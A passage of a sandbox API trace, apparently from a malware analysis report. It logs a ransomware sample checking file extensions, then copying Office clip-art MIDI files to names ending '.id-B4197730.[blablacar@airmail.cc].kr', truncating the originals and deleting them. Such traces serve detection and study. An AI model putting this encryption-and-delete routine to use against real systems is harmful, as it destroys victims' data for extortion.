(lpString=".rar") returned 4 [0184.908] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.909] lstrlenW (lpString=".bz2") returned 4 [0184.909] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.909] lstrlenW (lpString=".7z") returned 3 [0184.909] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.909] lstrlenW (lpString=".dbf") returned 4 [0184.909] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.909] lstrlenW (lpString=".1cd") returned 4 [0184.909] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.909] lstrlenW (lpString=".jpg") returned 4 [0184.909] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.909] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.909] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0184.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.912] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5843) returned 1 [0184.912] CloseHandle (hObject=0x51c) returned 1 [0184.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0184.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.913] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.913] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.914] GetLastError () returned 0x0 [0184.914] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x16d3, lpOverlapped=0x0) returned 1 [0184.921] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x16e0, lpOverlapped=0x0) returned 1 [0184.922] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.922] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.922] SetEndOfFile (hFile=0x4d8) returned 1 [0184.923] CloseHandle (hObject=0x4d8) returned 1 [0184.928] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.928] SetEndOfFile (hFile=0x51c) returned 1 [0184.931] CloseHandle (hObject=0x51c) returned 1 [0184.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0184.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.935] lstrlenW (lpString=".doc") returned 4 [0184.935] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.935] lstrlenW (lpString=".docx") returned 5 [0184.935] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.935] lstrlenW (lpString=".pdf") returned 4 [0184.935] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.935] lstrlenW (lpString=".xls") returned 4 [0184.935] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.935] lstrlenW (lpString=".xlsx") returned 5 [0184.936] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.936] lstrlenW (lpString=".ppt") returned 4 [0184.936] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString=".zip") returned 4 [0184.936] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.936] lstrlenW (lpString=".rar") returned 4 [0184.936] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.936] lstrlenW (lpString=".bz2") returned 4 [0184.936] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.936] lstrlenW (lpString=".7z") returned 3 [0184.936] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString=".dbf") returned 4 [0184.936] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString=".1cd") returned 4 [0184.936] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString=".jpg") returned 4 [0184.936] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.936] lstrlenW (lpString=".doc") returned 4 [0184.936] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.936] lstrlenW (lpString=".docx") returned 5 [0184.936] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.936] lstrlenW (lpString=".pdf") returned 4 [0184.936] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.936] lstrlenW (lpString=".xls") returned 4 [0184.936] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.936] lstrlenW (lpString=".xlsx") returned 5 [0184.937] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.937] lstrlenW (lpString=".ppt") returned 4 [0184.937] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.937] lstrlenW (lpString=".zip") returned 4 [0184.937] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.937] lstrlenW (lpString=".rar") returned 4 [0184.937] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.937] lstrlenW (lpString=".bz2") returned 4 [0184.937] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.937] lstrlenW (lpString=".7z") returned 3 [0184.937] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.937] lstrlenW (lpString=".dbf") returned 4 [0184.937] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.937] lstrlenW (lpString=".1cd") returned 4 [0184.937] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0184.937] lstrlenW (lpString=".jpg") returned 4 [0184.937] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.937] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.937] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0184.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.940] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5968) returned 1 [0184.940] CloseHandle (hObject=0x51c) returned 1 [0184.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0184.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.940] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.940] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.941] GetLastError () returned 0x0 [0184.941] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x1750, lpOverlapped=0x0) returned 1 [0184.967] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x1760, lpOverlapped=0x0) returned 1 [0184.968] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.968] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.968] SetEndOfFile (hFile=0x520) returned 1 [0184.968] CloseHandle (hObject=0x520) returned 1 [0184.968] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.968] SetEndOfFile (hFile=0x51c) returned 1 [0184.971] CloseHandle (hObject=0x51c) returned 1 [0184.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0184.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.972] lstrlenW (lpString=".doc") returned 4 [0184.972] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.972] lstrlenW (lpString=".docx") returned 5 [0184.972] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.972] lstrlenW (lpString=".pdf") returned 4 [0184.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.972] lstrlenW (lpString=".xls") returned 4 [0184.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.972] lstrlenW (lpString=".xlsx") returned 5 [0184.972] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.972] lstrlenW (lpString=".ppt") returned 4 [0184.972] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.972] lstrlenW (lpString=".zip") returned 4 [0184.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.972] lstrlenW (lpString=".rar") returned 4 [0184.973] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.973] lstrlenW (lpString=".bz2") returned 4 [0184.973] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.973] lstrlenW (lpString=".7z") returned 3 [0184.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString=".dbf") returned 4 [0184.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString=".1cd") returned 4 [0184.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString=".jpg") returned 4 [0184.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString=".doc") returned 4 [0184.973] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.973] lstrlenW (lpString=".docx") returned 5 [0184.973] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.973] lstrlenW (lpString=".pdf") returned 4 [0184.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.973] lstrlenW (lpString=".xls") returned 4 [0184.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.973] lstrlenW (lpString=".xlsx") returned 5 [0184.973] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.973] lstrlenW (lpString=".ppt") returned 4 [0184.973] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.973] lstrlenW (lpString=".zip") returned 4 [0184.973] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.973] lstrlenW (lpString=".rar") returned 4 [0184.974] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.974] lstrlenW (lpString=".bz2") returned 4 [0184.974] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.974] lstrlenW (lpString=".7z") returned 3 [0184.974] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.974] lstrlenW (lpString=".dbf") returned 4 [0184.974] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.974] lstrlenW (lpString=".1cd") returned 4 [0184.974] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0184.974] lstrlenW (lpString=".jpg") returned 4 [0184.974] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.974] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.974] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0184.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.153] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6644) returned 1 [0185.153] CloseHandle (hObject=0x534) returned 1 [0185.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0185.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.154] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.154] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0185.155] GetLastError () returned 0x0 [0185.155] ReadFile (in: hFile=0x534, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x19f4, lpOverlapped=0x0) returned 1 [0185.186] WriteFile (in: hFile=0x538, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x1a00, lpOverlapped=0x0) returned 1 [0185.187] ReadFile (in: hFile=0x534, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.187] WriteFile (in: hFile=0x538, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.187] SetEndOfFile (hFile=0x538) returned 1 [0185.734] CloseHandle (hObject=0x538) returned 1 [0185.734] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.734] SetEndOfFile (hFile=0x534) returned 1 [0185.737] CloseHandle (hObject=0x534) returned 1 [0185.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0185.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.738] lstrlenW (lpString=".doc") returned 4 [0185.738] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.738] lstrlenW (lpString=".docx") returned 5 [0185.738] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.738] lstrlenW (lpString=".pdf") returned 4 [0185.738] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.738] lstrlenW (lpString=".xls") returned 4 [0185.738] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.738] lstrlenW (lpString=".xlsx") returned 5 [0185.738] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.738] lstrlenW (lpString=".ppt") returned 4 [0185.738] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.738] lstrlenW (lpString=".zip") returned 4 [0185.738] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.738] lstrlenW (lpString=".rar") returned 4 [0185.738] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.738] lstrlenW (lpString=".bz2") returned 4 [0185.738] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.738] lstrlenW (lpString=".7z") returned 3 [0185.738] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString=".dbf") returned 4 [0185.739] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString=".1cd") returned 4 [0185.739] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString=".jpg") returned 4 [0185.739] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString=".doc") returned 4 [0185.739] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.739] lstrlenW (lpString=".docx") returned 5 [0185.739] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.739] lstrlenW (lpString=".pdf") returned 4 [0185.739] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.739] lstrlenW (lpString=".xls") returned 4 [0185.739] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.739] lstrlenW (lpString=".xlsx") returned 5 [0185.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.739] lstrlenW (lpString=".ppt") returned 4 [0185.739] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.739] lstrlenW (lpString=".zip") returned 4 [0185.739] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.739] lstrlenW (lpString=".rar") returned 4 [0185.739] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.739] lstrlenW (lpString=".bz2") returned 4 [0185.739] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.739] lstrlenW (lpString=".7z") returned 3 [0185.739] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.740] lstrlenW 